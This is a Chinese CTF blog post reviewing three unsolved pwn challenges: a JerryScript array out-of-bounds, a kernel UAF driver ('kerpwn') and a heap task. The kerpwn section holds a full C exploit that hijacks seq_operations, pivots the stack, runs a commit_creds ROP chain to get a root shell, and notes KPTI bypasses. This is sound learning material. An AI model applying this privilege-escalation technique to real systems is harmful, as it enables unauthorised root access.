Loading... 近期参加了一些比赛,积累了一些没做出来的题,个别题感觉本身也没啥意思,还有一些,由于各种原因,可能无法完全复现,这里简单记录一下思路。 ### hello_jerry jerry pwn 碰到了许多次了,之前一直没有相关的 wp,再加上 js 解释器相关的 pwn 确实没接触过。这道题应该是比较入门的,相比起别的只给个 bin 的题,至少给了 patch,就是在 array 的 shift 方法执行后多删一个节点,造成数组的 out-of-bound,可以对整个 jerry_heap 进行读写。不过 jerryscript 的几个特点造成较难编写 exp * 进行了指针压缩,也就是为了节省空间,默认只储存每个指针的低 16 位,需要使用时与 global heap base 相加获得对象的地址,同时由于地址对齐,低三位必为零,便可以在这里存储一些控制信息。不过这个其实影响不大,不会特别麻烦。 * js 的数组可以存储不同类型的对象,因此在访问时需要判断对象的类型。v8 中有对该过程进行优化,如果当前存储的都是同一类型,就分配特定的 map,访问时就可以不用判断了,但是 Jerry 中没有类似的实现,因此在数组 oob 之后,想要对内存进行搜索,就会让解释器认为某些数据是对象,就会出现各种奇奇怪怪的崩溃。所以用 oob 数组内存搜索基本是奢望了。 * 上面两个问题其实都能克服,但是最麻烦的是,堆的布局会根据被执行的代码不同而改变,因此,需要先写好整个攻击流程再修改偏移。同时,题目给出的 bin 是 release 版本的,什么符号都没有,想要找到每个对象可能都需要内存搜索,因此工作量会非常大。 攻击的思路还是简单的,由于有 oob 数组,所以可以用该数组修改 DataView 对象的 `header.u.cls.u3.length` 成员,通过 DataView 就可以安全的对内存进行访问了,然后就像官方 wp 说的一样,leak 出 proc_base,然后 leak libc_base,然后通过 environment leak stack,写入 one_gadget 即可。这些通过伪造 DataView 应该都可以实现。 说起来挺容易的,但是要写出 exp 真是不容易啊,暂时放下了。 ### kerpwn 这道 kernel pwn 的漏洞品相很不错,UAF 和溢出都有了。不过只能申请 0x20 大小的 chunk,同时禁用了 ptmx 一系列的驱动的开启权限,再加之据说 slub 现在有保护,所以无法用堆进行相关的攻击,所以 tty_struct 就难以利用了。其他的结构体我确实也不了解,赛后 77 老师告诉我可以用 `seq_operation` 结构体进行利用。该结构体结构为 ```cpp struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; ``` 由于对 `/proc` 文件系统的读取限制了一次最多读一页,为了加速对该文件系统中文件的读取速度,就出现了 `seq_file`。具体的也不必了解太深,只要知道在对 `seq_file` 进行 read 的时候,首先会调用 start,然后重复调用 next,show,直到 next 判断为空,再调用 stop 停止。 那么如果我们可以控制一个 `seq_operations` 结构体,劫持掉 start 指针,就可以实现 rop。具体的,劫持 start 为类似于 ```shell xchg eax, esp ; ret ``` 这样的 gadget,由于进入 start 是 rax 的值正好是该 gadget 的地址,所以可以预知 rsp 会被劫持为的值,我们提前在这里 mmap 出可访问的内存,布置 rop 链即可实现利用。 当然,在 rop 前要绕过 smap,但是据说在 Linux 5.X 中已经不能用 gadgets 修改 cr4 来关闭 smap 了,的确我使用了 `mov cr4, rdi ; ` 这样的 gadget 后,下一条指令被修改了,与 vmlinux 中预期的指令不同,可能和这个有关系。 不过这道题没开启 smap,所以可以直接 rop 了。我写了个 poc ```cpp #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <poll.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <linux/userfaultfd.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/prctl.h> #define PAGE_SIZE 0x1000 #define TTY_STRUCT_SZIE 0x2E0 int fd; typedef struct Request { unsigned int idx; long long size; char *buf; } Request; void add_note(long long size, char *buf) { Request req; *((long long *)&req.idx) = size; *((char **)&req.size) = buf; ioctl(fd, 0x20, &req); } void delete_note(unsigned int idx) { Request req; req.idx = idx; ioctl(fd, 0x30, &req); } void show_note(unsigned int idx, char *buf, long long size) { Request req; req.idx = idx; req.buf = buf; req.size = size; ioctl(fd, 0x40, &req); } void edit_note(unsigned int idx, char *buf, long long size) { Request req; req.idx = idx; req.buf = buf; req.size = size; ioctl(fd, 0x50, &req); } char buf_a[0x1000]; char buf_b[0x1000]; size_t payload[0x1000]; size_t single_start_offset = 0x319D30; size_t kernel_base = 0; size_t pop_rdi_ret = 0x089250; size_t pop_rsi_ret = 0x1cad0d; size_t pop_rdx_ret = 0x059afc; size_t commit_creds = 0xc8d40; size_t prepare_kernel_cred = 0xc91d0; size_t work_for_cpu_fn = 0xb8490; size_t xchg_eax_esp_ret = 0xe3b22; size_t mov_cr4_rdi_ret = 0x460f2; size_t mov_rax_rsi_ret = 0x19f0da; size_t mov_rdi_rax_call_rcx = 0x18ecf9c; size_t pop_rcx_ret = 0x255323; size_t iretq = 0x3a2ab; size_t mov_rdi_r12_call_rbx = 0x4477; size_t pop_rbx_ret = 0x059afc; size_t push_rax_push_rax_pop_rbx_pop_r12_pop_rbp_ret = 0x9f1b03; size_t mov_rdi_rax_rep_ret = 0xb72e8b; size_t pop_rsp_ret = 0xb61f0; size_t swapgs_ret = 0x75ef0; /* get user stat*/ size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp; void GetUserStat() { __asm__(".intel_syntax noprefix\n"); __asm__ volatile( "mov user_cs, cs;\ mov user_ss, ss;\ mov user_gs, gs;\ mov user_ds, ds;\ mov user_es, es;\ mov user_rsp, rsp;\ pushf;\ pop user_rflags"); printf("[+] got user stat\n"); } void CalcKernelFunctionAddress(size_t single_start_current_addr) { kernel_base = single_start_current_addr - single_start_offset; #define apply_offset(X) X = (X) + kernel_base apply_offset(commit_creds); apply_offset(prepare_kernel_cred); apply_offset(work_for_cpu_fn); apply_offset(xchg_eax_esp_ret); apply_offset(mov_cr4_rdi_ret); apply_offset(mov_rax_rsi_ret); apply_offset(pop_rdi_ret); apply_offset(pop_rsi_ret); apply_offset(pop_rdx_ret); apply_offset(pop_rcx_ret); apply_offset(mov_rdi_rax_call_rcx); apply_offset(iretq); apply_offset(mov_rdi_r12_call_rbx); apply_offset(pop_rbx_ret); apply_offset(push_rax_push_rax_pop_rbx_pop_r12_pop_rbp_ret); apply_offset(mov_rdi_rax_rep_ret); apply_offset(pop_rsp_ret); apply_offset(swapgs_ret); #undef apply_offset } void GetRootShell() { if (getuid() == 0) { printf("[+] get root shell!\n"); system("/bin/sh"); } else { printf("[-] failed\n"); exit(-1); } } int main() { GetUserStat(); fd = open("/dev/kerpwn", O_RDWR); add_note(0x20, buf_a); // 0 delete_note(0); int proc_stat_fd = open("/proc/self/stat", O_RDONLY); show_note(0, buf_b, 0x100); CalcKernelFunctionAddress(((size_t *)buf_b)[0]); printf("[+] kernel base leaked: %p\n", (void *)kernel_base); add_note(0x20, buf_a); // 1 add_note(0x20, buf_a); // 2 add_note(0x20, buf_a); // 3 show_note(1, buf_b, 0x100); char *fake_stack = (size_t *)mmap(xchg_eax_esp_ret & 0xFFFFF000, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (fake_stack == MAP_FAILED) { printf("[-] mmap err\n"); exit(-1); } size_t *fake_stack_start = (size_t *)&fake_stack[0xb22]; fake_stack_start[0] = pop_rsp_ret; fake_stack_start[1] = fake_stack + 0x1000; fake_stack_start = fake_stack + 0x1000; int i = 0; fake_stack_start[i++] = pop_rdi_ret; fake_stack_start[i++] = 0; fake_stack_start[i++] = prepare_kernel_cred; fake_stack_start[i++] = pop_rsi_ret; fake_stack_start[i++] = fake_stack; fake_stack_start[i++] = pop_rcx_ret; fake_stack_start[i++] = 0; fake_stack_start[i++] = mov_rdi_rax_rep_ret; fake_stack_start[i++] = commit_creds; fake_stack_start[i++] = swapgs_ret; fake_stack_start[i++] = iretq; fake_stack_start[i++] = GetRootShell; fake_stack_start[i++] = user_cs; fake_stack_start[i++] = user_rflags; fake_stack_start[i++] = user_rsp; fake_stack_start[i++] = user_ss; payload[0] = xchg_eax_esp_ret; edit_note(0, (char *)payload, 0x8); read(proc_stat_fd, 0, 0); return 0; } ``` 奇怪的是我在返回到用户态后会直接崩溃,不知道是什么原因。可能是因为内核栈被搞成了不对齐的缘故,使用一个对齐的 `xchg eax, esp ; ret` gadget 就可以了。ropgadget 会去除重复的 gadget,所以需要用 opcode 来搜 ```shell $ ROPgadget --binary ./vmlinux --opcode 94c3 Opcodes information ============================================================ 0xffffffff810e3b22 : 94c3 0xffffffff810e57f2 : 94c3 0xffffffff810fddda : 94c3 0xffffffff8111f3c2 : 94c3 0xffffffff81137f6c : 94c3 0xffffffff81137fc7 : 94c3 0xffffffff8117d292 : 94c3 0xffffffff81183b47 : 94c3 0xffffffff811c4878 : 94c3 0xffffffff811f0229 : 94c3 0xffffffff811f842a : 94c3 0xffffffff81221583 : 94c3 0xffffffff812382cf : 94c3 ... ``` 找一个对齐的换上去就行。当然啦,返回到用户态还是会 crash 的,也就是 segment fault,这是因为高版本的 Linux 中有 kpti 保护,要绕过,可以通过 `swapgs_restore_regs_and_return_to_usermode` 函数实现 bypass,更简单的,也可以直接在用户态中注册对 `SIGSEGV` 信号的处理 getshell 另外题目没有禁用 qemu 的 monitor,所以可以直接通过 qemu 读出 flag。 很可惜比赛的时候确实不知道这些东西,没有做出来。 ### TinyNode 这题比赛时似乎是零解,现在也没看到官方 wp,确实是不会做。leak 很简单,不用说。之后的攻击就没思路了,比赛时给了 hint 说用 fastbin 的 key 打 IO。说起来比赛的时候我都没看到 hint,不过就算看到了也没用,我到现在也没想通 fastbin 的 key 是个什么东西。另外打 IO file 也是非常的麻烦,本题又只能写 0x10 字节,属实是想不明白了。 最后修改:2021 年 12 月 27 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
1 条评论